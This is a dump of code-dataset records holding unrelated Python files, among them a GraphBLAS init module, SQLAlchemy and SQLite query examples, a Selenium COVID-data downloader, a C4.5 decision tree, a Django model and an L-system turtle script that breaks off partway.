HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nfrom typing import List\nimport uuid\nfrom datetime import timedelta\nfrom cerebralcortex.cerebralcortex import CerebralCortex\n\n\ndef get_stream_days(stream_id: uuid, CC: CerebralCortex) -> List:\n \"\"\"\n Returns a list of days (string format: YearMonthDay (e.g., 20171206)\n :param stream_id:\n :param dd_stream_id:\n \"\"\"\n stream_days = []\n if stream_id:\n stream_duration = CC.get_stream_duration(stream_id)\n if stream_duration[\"start_time\"] is not None and stream_duration[\"end_time\"] is not None:\n days = stream_duration[\"end_time\"] - stream_duration[\"start_time\"]\n if days.seconds>60:\n total_days = days.days+2\n else:\n total_days = days.days+1\n for day in range(total_days):\n stream_days.append((stream_duration[\"start_time\"] + timedelta(days=day)).strftime('%Y%m%d'))\n\n return stream_days\n","sub_path":"cerebralcortex/core/util/streams.py","file_name":"streams.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"454525327","text":"\n\nfrom xai.brain.wordbase.nouns._patch import _PATCH\n\n#calss header\nclass _PATCHED(_PATCH, ):\n\tdef __init__(self,): \n\t\t_PATCH.__init__(self)\n\t\tself.name = \"PATCHED\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"patch\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_patched.py","file_name":"_patched.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"648147482","text":"from sys import stdin, setrecursionlimit\ninput = stdin.readline\nsetrecursionlimit(200000)\n\ndef dpdp():\n for i in range(N + 1):\n for j in range(len(knap)):\n if i - knap[j] > -1:\n dp[i] = min(dp[i], dp[i-knap[j]]+1)\n if dp[N] == float('INF'):\n print(-1)\n else:\n print(dp[N])\n\nN, M = map(int, input().split())\narr = list(map(int, input().split()))\n\nknap = set(arr)\nfor i in range(len(arr)):\n for j in range(i+1, len(arr)):\n knap.add(arr[i]+arr[j])\nknap = sorted(list(knap), reverse=True)\ndp = [float('INF')] * (N+1)\ndp[0] = 0\ndpdp()","sub_path":"210309/bj_13902.py","file_name":"bj_13902.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"198338583","text":"clave = input(\"Ingrese la clave de acceso: \")\nacert = 0\npos = len(clave)\nfor nm in range(pos):\n if pos >= 4:\n try:\n dig = float(clave[nm])\n except ValueError:\n print(\"La clave contiene caracteres!!\")\n exit(0)\n if (dig % 2 == 0) and (nm == 3) or (nm == 4):\n acert += 1\n else:\n print(\"La clave debe ser de 4 digitos o mas\")\n exit(0)\nif acert == 2:\n print(\"Bienvenido a la plataforma del banco!!\")\nelse:\n print(\"Lo sentimos, contraseña incorrecta!!\")","sub_path":"clave_banco.py","file_name":"clave_banco.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"545165117","text":"#!/bin/env python\n# -*- coding: utf-8 -*-\n'''\n__title__ = ''\n__author__ = 'dcx'\n__mtime__ = '2019/7/25'\n# code is far away from bugs with the god\n'''\nimport sqlalchemy\nfrom sqlalchemy import create_engine,Column,Integer,String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\n\n\n\nUSER = 'root'\nPWD = 'root'\nHOST = 'localhost'\nDB = 'sakila'\n\n\nprint(sqlalchemy.__version__)\n\n'''\n创建连接,echo=True引擎是否打印执行的语句,调试的时候打开很方便\n创建引擎不会马上连接数据库,直到让数据库执行任务时才连接\n'''\nengine = create_engine('mysql+pymysql://{}:{}@{}/{}'.format(USER,PWD,HOST,DB),echo=True)\n\n#声明映射,SQLAlchemy大量使用元编程\nBase = declarative_base()\n\n#Mapper\nclass Student(Base):#一定要继承Base\n __tablename__ = 'student' #必须制定表名\n id = Column(Integer,primary_key=True,autoincrement=True)#字段定义,类属性\n name = Column(String(64),nullable=False)\n age = Column(Integer)\n\n def __repr__(self):\n return \"\".format(self.id,self.name,self.age)\n\n# print(repr(Student.__table__))\n# s = Student(name='tome');\n# print(s)\n# s.age = 30\n# print(s)\n#\n# #创建表\n# #Base.metadata.create_all(bind=engine)\n#\n# #构建Session类,session对象线程不安全,所以不同线程应该使用不同的session对象\nSession = sessionmaker(bind=engine)\n# #session实例\nsession = Session()\n#\n# #这种方式不是很合适\n# #session.add(s)\n# #session.commit()\n# #session.rollback()\n#\n# try:\n# #s.age = 50\n# session.add_all([s])\n# session.commit\n# except Exception as e:\n# print(e)\n# session.rollback()\n\n#相当于select * from stuedent where id=2,如果不加参数的话,就表示select *\nstudent = session.query(Student).get(2)\nprint(student)\n\n#修改数据\nstudent.age = 20\nstudent.name = \"jerry\"\n\ntry:\n session.add(student)\n session.commit()\n\nexcept Exception as e:\n print(e)\n session.rollback()\n\n\n\n\n\n\n\n\n","sub_path":"databaseprogram/databaseprogram--06-ORM查询和修改.py","file_name":"databaseprogram--06-ORM查询和修改.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"277686891","text":"from ._graphblas import ffi, lib # noqa\nfrom . import utils\nfrom ._version import get_versions\nfrom . import exceptions as ex\n\n\ndef is_initialized():\n \"\"\"Is GraphBLAS initialized via GrB_init or GxB_init?\"\"\"\n return lib.GxB_Global_Option_get(lib.GxB_MODE, ffi.new(\"GrB_Mode*\")) != lib.GrB_PANIC\n\n\ndef supports_complex():\n \"\"\"Does this package support complex numbers?\"\"\"\n return hasattr(lib, \"GrB_FC64\") or hasattr(lib, \"GxB_FC64\")\n\n\ndef initialize(*, blocking=False, memory_manager=\"numpy\"):\n \"\"\"Initialize GraphBLAS via GrB_init or GxB_init.\n\n This must be called before any other GraphBLAS functions are called.\n A RuntimeError will be raised if called more than once.\n\n Parameters\n ----------\n blocking : bool, optional\n Whether to call init with GrB_BLOCKING or GrB_NONBLOCKING.\n Default is False.\n memory_manager : {'numpy', 'c'}, optional\n Choose which malloc/free functions to use. 'numpy' uses numpy's\n allocators, which makes it safe to perform zero-copy to and from numpy,\n and allows Python to track memory usage via tracemalloc (if enabled).\n 'c' uses the default allocators. Default is 'numpy'.\n\n The global variable `suitesparse_graphblas.is_initialized` indicates whether\n GraphBLAS has been initialized.\n \"\"\"\n if is_initialized():\n raise RuntimeError(\"GraphBLAS is already initialized! Unable to initialize again.\")\n blocking = lib.GrB_BLOCKING if blocking else lib.GrB_NONBLOCKING\n memory_manager = memory_manager.lower()\n if memory_manager == \"numpy\":\n utils.call_gxb_init(ffi, lib, blocking)\n elif memory_manager == \"c\":\n lib.GrB_init(blocking)\n else:\n raise ValueError(f'memory_manager argument must be \"numpy\" or \"c\"; got: {memory_manager!r}')\n\n\n__version__ = get_versions()[\"version\"]\ndel get_versions\n\n\ndef libget(name):\n \"\"\"Helper to get items from GraphBLAS which might be GrB or GxB\"\"\"\n try:\n return getattr(lib, name)\n except AttributeError:\n ext_name = f\"GxB_{name[4:]}\"\n try:\n return getattr(lib, ext_name)\n except AttributeError:\n pass\n raise\n\n\nbool_types = frozenset((lib.GrB_BOOL,))\n\nsigned_integer_types = frozenset(\n (\n lib.GrB_INT8,\n lib.GrB_INT16,\n lib.GrB_INT32,\n lib.GrB_INT64,\n )\n)\n\nunsigned_integer_types = frozenset(\n (\n lib.GrB_UINT8,\n lib.GrB_UINT16,\n lib.GrB_UINT32,\n lib.GrB_UINT64,\n )\n)\n\ninteger_types = signed_integer_types | unsigned_integer_types\n\nreal_types = frozenset(\n (\n lib.GrB_FP32,\n lib.GrB_FP64,\n )\n)\n\nif supports_complex():\n complex_types = frozenset(\n (\n lib.GxB_FC32,\n lib.GxB_FC64,\n )\n )\nelse:\n complex_types = frozenset()\n\n\ngrb_types = bool_types | integer_types | real_types | complex_types\n\n\n_error_code_lookup = {\n # Warning\n lib.GrB_NO_VALUE: ex.NoValue,\n # API Errors\n lib.GrB_UNINITIALIZED_OBJECT: ex.UninitializedObject,\n lib.GrB_INVALID_OBJECT: ex.InvalidObject,\n lib.GrB_NULL_POINTER: ex.NullPointer,\n lib.GrB_INVALID_VALUE: ex.InvalidValue,\n lib.GrB_INVALID_INDEX: ex.InvalidIndex,\n lib.GrB_DOMAIN_MISMATCH: ex.DomainMismatch,\n lib.GrB_DIMENSION_MISMATCH: ex.DimensionMismatch,\n lib.GrB_OUTPUT_NOT_EMPTY: ex.OutputNotEmpty,\n # Execution Errors\n lib.GrB_OUT_OF_MEMORY: ex.OutOfMemory,\n lib.GrB_INSUFFICIENT_SPACE: ex.InsufficientSpace,\n lib.GrB_INDEX_OUT_OF_BOUNDS: ex.IndexOutOfBound,\n lib.GrB_PANIC: ex.Panic,\n}\nGrB_SUCCESS = lib.GrB_SUCCESS\nGrB_NO_VALUE = lib.GrB_NO_VALUE\n\n\n_error_func_lookup = {\n \"struct GB_Type_opaque *\": lib.GrB_Type_error,\n \"struct GB_UnaryOp_opaque *\": lib.GrB_UnaryOp_error,\n \"struct GB_BinaryOp_opaque *\": lib.GrB_BinaryOp_error,\n \"struct GB_SelectOp_opaque *\": lib.GxB_SelectOp_error,\n \"struct GB_Monoid_opaque *\": lib.GrB_Monoid_error,\n \"struct GB_Semiring_opaque *\": lib.GrB_Semiring_error,\n \"struct GB_Scalar_opaque *\": lib.GxB_Scalar_error,\n \"struct GB_Matrix_opaque *\": lib.GrB_Matrix_error,\n \"struct GB_Vector_opaque *\": lib.GrB_Vector_error,\n \"struct GB_Descriptor_opaque *\": lib.GrB_Descriptor_error,\n}\n\n\ndef check_status(obj, response_code):\n \"\"\"Check the return code of the GraphBLAS function.\n\n If the operation was successful, return None.\n\n If the operation returned no value return `exceptions.NoValue`.\n\n Otherwise it is an error, lookup the exception and the error\n description, and throw the exception.\n\n \"\"\"\n if response_code == GrB_SUCCESS:\n return\n if response_code == GrB_NO_VALUE:\n return ex.NoValue\n\n if ffi.typeof(obj).item.kind == \"pointer\":\n obj = obj[0]\n\n cname = ffi.typeof(obj).cname\n error_func = _error_func_lookup.get(cname)\n if error_func is None:\n raise TypeError(f\"Unknown cname {cname} looking up error string.\")\n\n string = ffi.new(\"char**\")\n error_func(string, obj)\n text = ffi.string(string[0]).decode()\n raise _error_code_lookup[response_code](text)\n","sub_path":"suitesparse_graphblas/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"66260195","text":"import sqlite3\nimport pandas as pd \n\n\"\"\"\nIF the database didn't already exist\n\npath = 'C:/Users/Cactuar/Projects/DS-Unit-3-Sprint-2-SQL-and-Databases/module1-introduction-to-sql/buddymove_holidayiq.csv'\n\ndf = pd.read_csv(path)\n\nconn = sqlite3.connect('buddymove_holiday.sqlite3')\n\ndf.to_sql('review', con=conn)\n\n\"\"\"\n\npath = 'C:/Users/Cactuar/Projects/DS-Unit-3-Sprint-2-SQL-and-Databases/buddymove_holidayiq.sqlite3'\nconn = sqlite3.connect(path)\ncurs = conn.cursor()\n\nquery = 'SELECT COUNT(Sports) FROM review'\ncurs.execute(query)\nprint('Total rows:', curs.fetchall()[0][0])\n\nquery = '''SELECT User_id FROM review WHERE Nature >= 100\n AND Shopping >=100'''\ncurs.execute(query)\nprint('Ten Users with >=100 in Nature & Shopping:', curs.fetchmany(10))\n\nquery = 'SELECT AVG(Sports) FROM review'\ncurs.execute(query)\nprint('Average Sports Rating:', curs.fetchall()[0][0])\n\nquery = 'SELECT AVG(Religious) FROM review'\ncurs.execute(query)\nprint('Average Religious Rating:', curs.fetchall()[0][0])\n\nquery = 'SELECT AVG(Nature) FROM review'\ncurs.execute(query)\nprint('Average Nature Rating:', curs.fetchall()[0][0])\n\nquery = 'SELECT AVG(Theatre) FROM review'\ncurs.execute(query)\nprint('Average Theatre Rating:', curs.fetchall()[0][0])\n\nquery = 'SELECT AVG(Shopping) FROM review'\ncurs.execute(query)\nprint('Average Shopping Rating:', curs.fetchall()[0][0])\n\nquery = 'SELECT AVG(Picnic) FROM review'\ncurs.execute(query)\nprint('Average Picnic Rating:', curs.fetchall()[0][0])\n\ncurs.close()","sub_path":"module1-introduction-to-sql/buddymove_holidayiq.py","file_name":"buddymove_holidayiq.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"597670585","text":"import time\nimport os\nimport shutil\nimport csv\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.chrome.options import Options\n\ndata_name = \"us-counties.csv\"\nnyc_name = \"by-boro.csv\"\n#where chromedriver is:\nCHROMEDRIVER_PATH = \"path/to/chromedriver\"\n#where you want to save the new data locally:\nSTORED_DATA_PATH = 'local/path/to/store/data' #write full path,\n#don't use go back \"..\"\"\n\ndef update_covid_data():\n\t#change current path\n\tos.chdir(STORED_DATA_PATH)\n\t#create a webdriver that would download automatically to a local directory\n\toptions = webdriver.ChromeOptions()\n\tprefs = {'download.default_directory': STORED_DATA_PATH} \n\toptions.add_experimental_option('prefs', prefs)\n\tdriver = webdriver.Chrome(options=options, executable_path=CHROMEDRIVER_PATH)\n\t#access github NYT data\n\tdriver.get('https://github.com/nytimes/covid-19-data')\n\tdriver.find_element_by_link_text('U.S. County-Level Data').click()\n\tdriver.find_element_by_link_text('Download').send_keys(Keys.ALT, Keys.ENTER)\n\ttime.sleep(2)\n\tdriver.quit()\n\t#replace the current file with the new file on MacOS\n\tchange_csv_name(data_name)\n\n\ndef update_nyc_data():\n\toptions = webdriver.ChromeOptions()\n\tprefs = {'download.default_directory': STORED_DATA_PATH}\n\toptions.add_experimental_option('prefs', prefs)\n\tdriver = webdriver.Chrome(options=options, executable_path=CHROMEDRIVER_PATH)\n\t#data for New York counties\n\tdriver.get('https://github.com/nychealth/coronavirus-data/blob/master/by-boro.csv')\n\tdriver.find_element_by_link_text('Raw').click()\n\tnew_data = driver.find_element_by_xpath('/html/body').text\n\tdriver.quit()\n\t#write a new file with the NY data\n\twrite_csv_file(new_data, nyc_name)\n\n\ndef change_csv_name(data):\n\t#find the most recently added data\n \tfilename = max([STORED_DATA_PATH + \"/\" + f for f in os.listdir(STORED_DATA_PATH)], key=os.path.getctime)\n \t#rename the recently added data (change it to csv)\n \tshutil.move(filename,os.path.join(STORED_DATA_PATH, data))\n\ndef write_csv_file(new_data, filename):\n\t#write a new csv file with the nyc data\n\toutF = open(filename, \"w\")\n\toutF.writelines(new_data)\n\toutF.close()\n\n#run:\nupdate_covid_data()\nupdate_nyc_data()\n","sub_path":"data/data updating bot/update_csv.py","file_name":"update_csv.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"38984663","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAPF_Altitude_Analysis\n\nCreated on Mon Sep 14 13:07:07 2015\n@author: jed\n\"\"\"\n\nimport numpy as np\nimport matplotlib\nmatplotlib.style.use('ggplot')\nimport pandas as pnd\nimport Track_Manager\nTM = Track_Manager.TrackManager()\n\nfilename = 'V:/APF_2015/APF_DEP_23.json'\ntracks = TM.load_data(filename)\nTM.convert_m_to_ft(tracks)\nTM.calc_profiles(tracks)\n\nsubset = TM.create_subset(tracks, 10)\n\ncross_15 = {} # Assuming shore line is at 15,000 ft. along flight path\nfor track in tracks:\n px = []; py = [];\n for point in tracks[track].profile:\n px.append(point[0])\n py.append(point[1])\n cross_15[track] = np.interp(15000, px, py) # interpolates altitude at 15,000 ft. track distance\n \ncross_15_avg = np.average(list(cross_15.values())) # calculates average altitude at 15,000 ft. track distance\n\navg_ser = pnd.Series(cross_15)\nfig = avg_ser.plot(kind='kde', xlim = (0, 5000)) # plots density of altitudes at 15,000 ft. track distance\n\n\nTM.plot_profiles(subset) # plots profiles of subset","sub_path":"Flight_Tracks/APF_Altitude_Analysis.py","file_name":"APF_Altitude_Analysis.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"548953158","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 20 20:09:34 2018\n\n@author: root\n\"\"\"\nimport operator\nimport math\ndef create_test_set():\n '''\n '''\n data_set = [\n ['Sunny', 'Hot', 'High', 'False', 'NO'],\n ['Sunny', 'Hot', 'High', 'True', 'NO'], \n ['Overcast', 'Hot', 'High', 'False', 'YES'], \n ['Rainy', 'Cool', 'Normal', 'False', 'YES'],\n ['Rainy', 'Cool', 'Normal', 'True', 'NO'],\n ['Overcast', 'Cool', 'Normal', 'True', 'YES'], \n ['Sunny', 'Mild', 'High', 'False', 'NO'],\n ['Sunny', 'Cool', 'Normal', 'False', 'YES'],\n ['Rainy', 'Mild', 'Normal', 'False', 'YES'],\n ['Sunny', 'Mild', 'Normal', 'True', 'YES'],\n ['Overcast', 'Mild', 'High', 'True', 'YES'], \n ['Overcast', 'Hot', 'Normal', 'False', 'YES'], \n ['Rainy', 'Mild', 'High', 'False', 'YES'],\n ]\n labels = ['Outlook', 'Temperature', 'Humidity', 'Windy', 'Play?']\n return (data_set, labels)\n\ndef get_majority_class(class_list):\n '''\n 输入: class列表\n 输出: 出现频数最大的class\n 例子:对于输入['Y', 'Y', 'N],返回'Y'\n '''\n class_count = {}\n for item in class_list:\n if item in class_count:\n class_count[item] += 1\n else:\n class_count[item] = 1\n class_items = class_count.items()\n class_items = sorted(class_items, key=operator.itemgetter(1), reverse=True)\n return class_items[0][0]\n\ndef calculate_shannon_ent(data_set):\n '''\n 输入: 样本集\n 输出: 样本集的熵\n 例子: 对于输入[[0],[0],[1],[1]],返回1\n '''\n num_of_samples = len(data_set)\n class_count = {}\n for sample in data_set:\n class_label = sample[-1]\n if class_label in class_count:\n class_count[class_label] += 1\n else:\n class_count[class_label] = 1\n ent = 0.0\n for key in class_count:\n prob = float(class_count[key]) / num_of_samples\n ent -= prob * math.log(prob, 2)\n return ent\n\ndef split_data_set(data_set, feature_idx, val):\n '''\n 输入: 样本集, 特征索引, 特征值\n 输出: 样本子集\n 描述: 选择出样本集中特征索引所指的特征的值是给定特征值的样本,删除样本中的给定特征,返回样本子集\n 例子: [[2, 'a'], [2, 'a'], [1, 'b'], [1, 'b']] , 1, 2, [['a'], ['a']]\n '''\n sub_data_set = []\n for sample in data_set:\n if sample[feature_idx] == val:\n reduce_sample = sample[:feature_idx] + sample[feature_idx+1:]\n sub_data_set.append(reduce_sample)\n return sub_data_set\n\n\ndef choose_best_feature_for_split(data_set):\n '''\n 输入: 样本集\n 输出: 最好的划分特征索引\n '''\n num_features = len(data_set[0]) - 1\n base_entropy = calculate_shannon_ent(data_set)\n best_info_gain_ration = 0.0\n best_feature_idx = -1\n for i in range(num_features):\n feature_list = [ sample[i] for sample in data_set ]\n unique_values = set(feature_list)\n new_entropy = 0.0\n split_info = 0.0\n for val in unique_values:\n sub_set = split_data_set(data_set, i, val)\n prob = float(len(sub_set)) / len(data_set)\n new_entropy += prob * calculate_shannon_ent(sub_set)\n split_info += -prob * math.log(prob, 2)\n if split_info == 0:\n continue\n info_gain = base_entropy - new_entropy\n info_gain_ration = info_gain / split_info\n if info_gain_ration > best_info_gain_ration:\n best_info_gain_ration = info_gain_ration\n best_feature_idx = i\n return best_feature_idx\n\ndef create_tree(data_set, labels):\n '''\n '''\n class_list = [ item[-1] for item in data_set ]\n if class_list.count(class_list[0]) == len(class_list):\n return class_list[0]\n if len(data_set[0]) == 1:\n return get_majority_class(class_list)\n best_feature_idx = choose_best_feature_for_split(data_set)\n best_feature_label = labels[best_feature_idx]\n del(labels[best_feature_idx])\n my_tree = {best_feature_label:{}}\n feature_vals = [ sample[best_feature_idx] for sample in data_set ]\n unique_vals = set(feature_vals)\n for val in unique_vals:\n sub_labels = labels[:]\n my_tree[best_feature_label][val] = create_tree(split_data_set(data_set, best_feature_idx, val), sub_labels)\n return my_tree\n\n\ndef main():\n data_set, labels = create_test_set()\n decision_tree = create_tree(data_set, labels)\n print(decision_tree)\n\nif __name__ == '__main__':\n main()\n","sub_path":"C45Trees/C45Weather.py","file_name":"C45Weather.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"22357961","text":"from django.db import models\nfrom django.db.models import signals\nfrom django.contrib.contenttypes import generic\nfrom django.contrib.auth.models import User\nfrom django.template.defaultfilters import slugify\n\nfrom events.models import timeline_updater, TimeLine\n\nclass Project(models.Model):\n title = models.CharField(max_length=50)\n slug = models.SlugField(unique=True, editable=False)\n description = models.TextField()\n url = models.URLField(blank=True)\n private = models.BooleanField(default=False)\n members = models.ManyToManyField(User, through=\"Membership\")\n creator = models.ForeignKey(User, related_name='created_projects', editable=False)\n events = generic.GenericRelation(TimeLine, related_name='projects')\n date_added = models.DateTimeField(auto_now_add=True)\n date_modified = models.DateTimeField(auto_now=True)\n\n def __unicode__(self):\n return self.title\n\n def save(self, **kwargs):\n if self.id is None:\n self.slug = slugify(self.title)\n return super(Project, self).save()\n\n @models.permalink\n def get_absolute_url(self):\n return ('project_detail', [self.slug])\n\n @property\n def project(self):\n return self\n\nclass Membership(models.Model):\n user = models.ForeignKey(User)\n project = models.ForeignKey(Project)\n joined_at = models.DateTimeField(auto_now_add=True)\n\n# Signals\nsignals.post_save.connect(timeline_updater, sender=Project)\n","sub_path":"projects/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"620610633","text":"#! /usr/bin/env python\n# -*- coding: UTF-8 -*-\n#\n## @package tree\n#\n# Tree generation test - randomized procedural generation\n#\n# @author Flavia Cavalcanti\n# @since 22/02/2018\n#\n\nfrom __future__ import division\n\nimport sys\nsys.path.append('~/cg/python/OpenPolyhedra')\nimport numpy as np\nimport math as math\nimport matrix\nimport lSystemObj\n\n# Assumes SolidPython is in site-packages or elsewhwere in sys.path\nfrom solid import *\nfrom solid.utils import *\n\nSEGMENTS = 48\n\n\n\n# # ---------------- Rules ------------ ---------------------------------------------------\n\n## Segmentation fault if n > 2 in OpenSCAD\ndef kochCurve1():\n\ta = 90\n\ts = \"F-F-F-F\"\n\ti = 2\n\tr = {'F':\"F+FF-FF-F-F+F+FF-F-F+F+FF+FF-F\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\n## Will slightly traumatize OpenSCAD\ndef kochCurve2():\n\ta = 90\n\ts = \"F-F-F-F\"\n\ti = 4\n\tr = {'F':\"FF-F-F-F-F-F+F\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\n# #Ditto\ndef kochCurve3():\n\ta = 90\n\ts = \"F-F-F-F\"\n\ti = 4\n\tr = {'F':\"FF-F-F-F-FF\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\ndef hilbert3D():\n\ta = 90\n\ts = \"A\"\n\ti = 2\n\tr = {'A':\"B-F+CFC+F-D&F∧D-F+&&CFC+F+B//\",\\\n\t\t'B':\"A&F∧CFB∧F∧D∧∧-F-D∧|F∧B|FC∧F∧A//\",\\\n\t\t\t'C':\"|D∧|F∧B-F+C∧F∧A&&FA&F∧C+F+B∧F∧D//\",\\\n\t\t 'D':\"|CFB-F+B|FA&F∧A&&FB-F+B|FC//\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\ndef TwoDTree1():\n\ta = 25.7\n\ts = \"F\"\n\ti = 5\n\tr = {'F':\"F[+F]F[-F]F\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\ndef TwoDTree2():\n\ta = 20\n\ts = \"F\"\n\ti = 5\n\tr = {'F':\"F[+F]F[-F][F]\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\ndef TwoDTree3():\n\ta = 25.7\n\ts = \"F\"\n\ti = 4\n\tr = {'F':\"FF-[-F+F+F]+[+F-F-F]\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\ndef fractalPlant1():\n\ta = 20\n\ts = \"X\"\n\ti = 7\n\tr = {'X':\"F[+X]F[-X]+X\", 'F':\"FF\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\ndef fractalPlant2():\n\ta = 25.7\n\ts = \"X\"\n\ti = 7\n\tr = {'X':\"F[+X][-X]FX\", 'F':\"FF\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n\ndef fractalPlant3():\n\ta = 22.5\n\ts = \"X\"\n\ti = 5\n\tr = {'X':\"F-[[X]+X]+F[+FX]-X\", 'F':\"FF\"}\n\treturn lSystemObj.LSysObj(a, s, i, r)\n# # -------//------- Rules ------------ -----------------------///-------------------------\n\n# # ---------------- L-Systems ------------------------------------------------------------\n\n## L-Systems were developed as a mathematical description of plant growth designed to model biological systems.\n# L-Systems can be thought as containing the instructions for how a single cell can grow into a complex organism.\n# They can be used to define the rules for interesting patterns, being particularly useful for fractal creation.\n#\n# Example usage:\n# - A - Axiom\n# - A -> B - Rule 1 Change A to B\n# - B -> AB - Rule 2 Change B to AB\n# @see - http://interactivepython.org/courselib/static/thinkcspy/Strings/TurtlesandStringsandLSystems.html\n# @param n - height of tree\n# @param sentence - initial sentence - base for the rule applications\n# @param rules - a dictionary containing an axiom:rule key:value pair, they're both expected to be strings\n# @return the resulting L-System based off of the given axioms and rules\ndef buildLSystem(n, sentence, rules):\n\tnext = \"\"\n\tif (n > 0):\n\t\tcharacters = list(sentence)\n\t\t\n\t\tfor c in characters:\n\t\t\tif (c in rules):\n\t\t\t\tnext += buildLSystem(n-1, rules[c], rules);\n\t\t\telse:\n\t\t\t\tnext += c\n\telse:\n\t\treturn sentence\n\t\n\treturn next\n\n\n## Rotate the given vector about the x axis.\n#\n# @param array given vector.\n# @param a rotation angle in degrees.\n#\ndef xAxisRot(array, a):\n\ta = np.deg2rad(a)\n\tc = cos(a)\n\ts = sin(a)\n\tx = [[1, 0, 0, 0], \\\n\t\t [0, c, -s, 0], \\\n\t\t [0, s, c, 0], \\\n\t\t [0, 0, 0, 1]]\n\treturn np.dot(array, x)\n\n## Rotate the given vector about the y axis.\n#\n# @param array given vector.\n# @param a rotation angle in degrees.\n#\ndef yAxisRot(array, a):\n\ta = np.deg2rad(a)\n\tc = cos(a)\n\ts = sin(a)\n\ty = [[ c, 0, s, 0], \\\n\t\t [ 0, 1, 0, 0], \\\n\t\t [-s, 0, c, 0], \\\n\t\t [ 0, 0, 0, 1]]\n\treturn np.dot(array, y)\n\n## Rotate the given vector about the z axis.\n#\n# @param array given vector.\n# @param a rotation angle in degrees.\n#\ndef zAxisRot(array, a):\n\ta = np.deg2rad(a)\n\tc = cos(a)\n\ts = sin(a)\n\tz = [[c, -s, 0, 0], \\\n\t\t [s, c, 0, 0], \\\n\t\t [0, 0, 1, 0], \\\n\t\t [0, 0, 0, 1]]\n\treturn np.dot(array, z)\n\n\n## A simple 3D turtle graphics.\n#\n# @see https://docs.python.org/3/library/turtle.html#turtle.right\n# @see http://new.math.uiuc.edu/math198/MA198-2015/nwalter2/index.html\n#
\nclass turtle(object):\n\t## Constructor.\n\t#\n\t# The cylinder in openscad is centered about the z axis.\n\t# @see https://en.wikibooks.org/wiki/OpenSCAD_User_Manual/The_OpenSCAD_Language#cylinder\n\t#\n\t# @param r Cylinder radius.\n\t# @param h Cylinder height.\n\t#\n\tdef __init__(self, r=2, h=10):\n\t\t## Cylinder radius.\n\t\tself.r = r\n\t\t\n\t\t## Cylinder height.\n\t\tself.h = h\n\t\t\n\t\t## A list with openscad primitives.\n\t\tself.nodes = []\n\t\t\n\t\t## Current position.\n\t\tself.curPoint = np.array([0, 0, 0, 1])\n\t\t\n\t\t# Indicates the rotation direction.\n\t\tself.dir = None\n\n\n\t\t## Rotation axis.\n\t\tself.setAxis('Z')\n\t\n\t## Sets the rotation axis.\n\t#\n\t# @param dir character identifying a coordinate axis: X, Y or Z.\n\t#\n\tdef setAxis(self, dir):\n\t\tif dir == self.dir :\n\t\t\treturn # nothing has changed\n\t\t\n\t\t## Current angle.\n\t\tself.curAng = 0\n\t\tself.dir = dir\n\t\t\n\t\tif dir == 'X':\n\t\t\t## Rotation axis.\n\t\t\tself.axis = [-1, 0, 0]\n\t\t\t## Points to the function that rotates about the chosen axis.\n\t\t\tself.rotFunc = xAxisRot\n\t\t\t## Current direction.\n\t\t\tself.curVector = np.array([0, 0, self.h, 0])\n\t\telif dir == 'Y':\n\t\t\tself.axis = [0, -1, 0]\n\t\t\tself.rotFunc = yAxisRot\n\t\t\tself.curVector = np.array([0, 0, self.h, 0])\n\t\telse:\n\t\t\tself.axis = [0, 0, -1]\n\t\t\tself.rotFunc = zAxisRot\n\t\t\tself.curVector = np.array([0, self.h, 0, 0])\n\t#exit(\"Invalid rotation 